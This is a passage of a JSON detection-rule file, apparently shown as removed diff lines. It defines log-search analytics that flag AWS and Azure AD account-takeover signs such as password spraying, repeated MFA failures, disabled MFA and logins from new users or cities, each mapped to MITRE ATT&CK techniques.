logs and calculates the standard deviation for source IP, leveraging the 3-sigma rule to detect unusual numbers of failed authentication attempts. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges. If confirmed malicious, this activity could lead to unauthorized access, data breaches, or further exploitation within the AWS environment.", - "search": "`cloudtrail` eventName=ConsoleLogin action=failure | bucket span=10m _time | stats dc(_raw) AS distinct_attempts values(user_name) as tried_accounts by _time, src_ip | eventstats avg(distinct_attempts) as avg_attempts , stdev(distinct_attempts) as ip_std by _time | eval upperBound=(avg_attempts+ip_std*3) | eval isOutlier=if(distinct_attempts > 10 and distinct_attempts >= upperBound, 1, 0) | where isOutlier = 1 |`aws_unusual_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Unusual number of failed console login attempts (Count: $distinct_attempts$) against users from IP Address - $src_ip$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Azure Active Directory High Risk Sign-in", - "description": "The following analytic detects high-risk sign-in attempts against Azure Active Directory, identified by Azure Identity Protection. It leverages the RiskyUsers and UserRiskEvents log categories from Azure AD events ingested via EventHub. This activity is significant as it indicates potentially compromised accounts, flagged by heuristics and machine learning. If confirmed malicious, attackers could gain unauthorized access to sensitive resources, leading to data breaches or further exploitation within the environment.", - "search": " `azure_monitor_aad` category=UserRiskEvents properties.riskLevel=high | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by src_ip, activity, riskLevel, riskEventType, additionalInfo | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_active_directory_high_risk_sign_in_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A high risk event was identified by Identify Protection for user $user$", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "Azure AD Authentication Failed During MFA Challenge", - "description": "The following analytic identifies failed authentication attempts against an Azure AD tenant during the Multi-Factor Authentication (MFA) challenge, specifically flagged by error code 500121. It leverages Azure AD SignInLogs to detect these events. This activity is significant as it may indicate an adversary attempting to authenticate using compromised credentials on an account with MFA enabled. If confirmed malicious, this could suggest an ongoing effort to bypass MFA protections, potentially leading to unauthorized access and further compromise of the affected account.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=500121 | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime by user, src_ip, status.additionalDetails, appDisplayName, user_agent | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_authentication_failed_during_mfa_challenge_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ failed to pass MFA challenge", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Multi-Factor Authentication Disabled", - "description": "The following analytic detects attempts to disable multi-factor authentication (MFA) for an Azure AD user. It leverages Azure Active Directory AuditLogs to identify the \"Disable Strong Authentication\" operation. This activity is significant because disabling MFA can allow adversaries to maintain persistence using compromised accounts without raising suspicion. If confirmed malicious, this action could enable attackers to bypass an essential security control, potentially leading to unauthorized access and prolonged undetected presence in the environment.", - "search": "`azure_monitor_aad` category=AuditLogs operationName=\"Disable Strong Authentication\" | rename properties.* as * | rename targetResources{}.type as type | rename initiatedBy.user.userPrincipalName as initiatedBy | stats count min(_time) as firstTime max(_time) as lastTime by user, type, operationName, initiatedBy, result | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "initiatedBy", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "MFA disabled for User $user$ initiated by $initiatedBy$", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Multi-Source Failed Authentications Spike", - "description": "The following analytic detects potential distributed password spraying attacks in an Azure AD environment. It identifies a spike in failed authentication attempts across various user-and-IP combinations from multiple source IPs and countries, using different user agents. This detection leverages Azure AD SignInLogs, focusing on error code 50126 for failed authentications. This activity is significant as it indicates an adversary's attempt to bypass security controls by distributing login attempts. If confirmed malicious, this could lead to unauthorized access, data breaches, privilege escalation, and lateral movement within the organization's infrastructure.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=5m _time | eval uniqueIPUserCombo = src_ip . \"-\" . user | stats count min(_time) as firstTime max(_time) as lastTime dc(uniqueIPUserCombo) as uniqueIpUserCombinations, dc(user) as uniqueUsers, dc(src_ip) as uniqueIPs, dc(user_agent) as uniqueUserAgents, dc(location.countryOrRegion) as uniqueCountries values(user) as user, values(src_ip) as ips, values(user_agent) as user_agents, values(location.countryOrRegion) as countries | where uniqueIpUserCombinations > 20 AND uniqueUsers > 20 AND uniqueIPs > 20 AND uniqueUserAgents = 1 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multi_source_failed_authentications_spike_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover", - "NOBELIUM Group" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An anomalous multi source authentication spike ocurred at $_time$", - "risk_score": 42, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Azure AD Multiple Failed MFA Requests For User", - "description": "The following analytic identifies multiple failed multi-factor authentication (MFA) requests for a single user within an Azure AD tenant. It leverages Azure AD Sign-in Logs, specifically error code 500121, to detect more than 10 failed MFA attempts within 10 minutes. This behavior is significant as it may indicate an adversary attempting to bypass MFA by bombarding the user with repeated authentication prompts. If confirmed malicious, this activity could lead to unauthorized access, allowing attackers to compromise user accounts and potentially escalate their privileges within the environment.", - "search": " `azure_monitor_aad` category=SignInLogs operationName=\"Sign-in activity\" properties.status.errorCode=500121 properties.status.additionalDetails!=\"MFA denied; user declined the authentication\" | rename properties.* as * | bucket span=10m _time | stats count min(_time) as firstTime max(_time) as lastTime by user, status.additionalDetails, appDisplayName, user_agent | where count > 10 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multiple_failed_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ failed to complete MFA authentication more than 9 times in a timespan of 10 minutes.", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure AD Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic detects a single source IP failing to authenticate with 30 unique valid users within 5 minutes in Azure Active Directory. It leverages Azure AD SignInLogs with error code 50126, indicating invalid passwords. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges by trying common passwords across many accounts. If confirmed malicious, this activity could lead to unauthorized access, data breaches, or privilege escalation within the Azure AD environment.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=5m _time | stats count min(_time) as firstTime max(_time) as lastTime dc(user) AS unique_accounts values(user) as user by src_ip | where unique_accounts > 30 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Source Ip $src_ip$ failed to authenticate with 30 users within 5 minutes.", - "risk_score": 63, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Azure AD Successful PowerShell Authentication", - "description": "The following analytic identifies a successful authentication event against an Azure AD tenant using PowerShell cmdlets. This detection leverages Azure AD SignInLogs to identify successful logins where the appDisplayName is \"Microsoft Azure PowerShell.\" This activity is significant because it is uncommon for regular, non-administrative users to authenticate using PowerShell, and it may indicate enumeration and discovery techniques by an attacker. If confirmed malicious, this activity could allow attackers to perform extensive reconnaissance, potentially leading to privilege escalation or further exploitation within the Azure environment.", - "search": " `azure_monitor_aad` category=SignInLogs properties.authenticationDetails{}.succeeded=true properties.appDisplayName=\"Microsoft Azure PowerShell\" | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by src_ip, appDisplayName, user_agent | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_successful_powershell_authentication_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Successful authentication for user $user$ using PowerShell.", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure AD Successful Single-Factor Authentication", - "description": "The following analytic identifies a successful single-factor authentication event against Azure Active Directory. It leverages Azure SignInLogs data, specifically focusing on events where single-factor authentication succeeded. This activity is significant as it may indicate a misconfiguration, policy violation, or potential account takeover attempt. If confirmed malicious, an attacker could gain unauthorized access to the account, potentially leading to data breaches, privilege escalation, or further exploitation within the environment.", - "search": " `azure_monitor_aad` category=SignInLogs properties.authenticationRequirement=singleFactorAuthentication properties.authenticationDetails{}.succeeded=true | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by src_ip, appDisplayName, authenticationRequirement | `azure_ad_successful_single_factor_authentication_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Successful authentication for user $user$ without MFA", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure AD Unusual Number of Failed Authentications From Ip", - "description": "The following analytic identifies a single source IP failing to authenticate with multiple valid users, potentially indicating a Password Spraying attack against an Azure Active Directory tenant. It uses Azure SignInLogs data and calculates the standard deviation for source IPs, applying the 3-sigma rule to detect unusual numbers of failed authentication attempts. This activity is significant as it may signal an adversary attempting to gain initial access or elevate privileges. If confirmed malicious, this could lead to unauthorized access, privilege escalation, and potential compromise of sensitive information.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=5m _time | stats dc(userPrincipalName) AS unique_accounts values(userPrincipalName) as userPrincipalName by _time, ipAddress | eventstats avg(unique_accounts) as ip_avg, stdev(unique_accounts) as ip_std by ipAddress | eval upperBound=(ip_avg+ip_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1,0) | where isOutlier = 1 | `azure_ad_unusual_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "userPrincipalName", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "ipAddress", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible Password Spraying attack against Azure AD from source ip $ipAddress$", - "risk_score": 54, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Detect AWS Console Login by New User", - "description": "The following analytic detects AWS console login events by new users. It leverages AWS CloudTrail events and compares them against a lookup file of previously seen users based on ARN values. This detection is significant because a new user logging into the AWS console could indicate the creation of new accounts or potential unauthorized access. If confirmed malicious, this activity could lead to unauthorized access to AWS resources, data exfiltration, or further exploitation within the cloud environment.", - "search": "| tstats earliest(_time) as firstTime latest(_time) as lastTime from datamodel=Authentication where Authentication.signature=ConsoleLogin by Authentication.user | `drop_dm_object_name(Authentication)` | join user type=outer [ | inputlookup previously_seen_users_console_logins | stats min(firstTime) as earliestseen by user] | eval userStatus=if(earliestseen >= relative_time(now(), \"-24h@h\") OR isnull(earliestseen), \"First Time Logging into AWS Console\", \"Previously Seen User\") | where userStatus=\"First Time Logging into AWS Console\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_aws_console_login_by_new_user_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Suspicious Cloud Authentication Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is logging into the AWS console for the first time", - "risk_score": 30, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect AWS Console Login by User from New City", - "description": "The following analytic identifies AWS console login events by users from a new city within the last hour. It leverages AWS CloudTrail events and compares them against a lookup file of previously seen user locations. This activity is significant for a SOC as it may indicate unauthorized access or credential compromise, especially if the login originates from an unusual location. If confirmed malicious, this could lead to unauthorized access to AWS resources, data exfiltration, or further exploitation within the cloud environment.", - "search": "| tstats earliest(_time) as firstTime latest(_time) as lastTime from datamodel=Authentication where Authentication.signature=ConsoleLogin by Authentication.user Authentication.src | iplocation Authentication.src | `drop_dm_object_name(Authentication)` | rename City as justSeenCity | table firstTime lastTime user justSeenCity | join user type=outer [| inputlookup previously_seen_users_console_logins | rename City as previouslySeenCity | stats min(firstTime) AS earliestseen by user previouslySeenCity | fields earliestseen user previouslySeenCity] | eval userCity=if(firstTime >= relative_time(now(), \"-24h@h\"), \"New City\",\"Previously Seen City\") | where userCity = \"New City\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | table firstTime lastTime user previouslySeenCity justSeenCity userCity | `detect_aws_console_login_by_user_from_new_city_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and 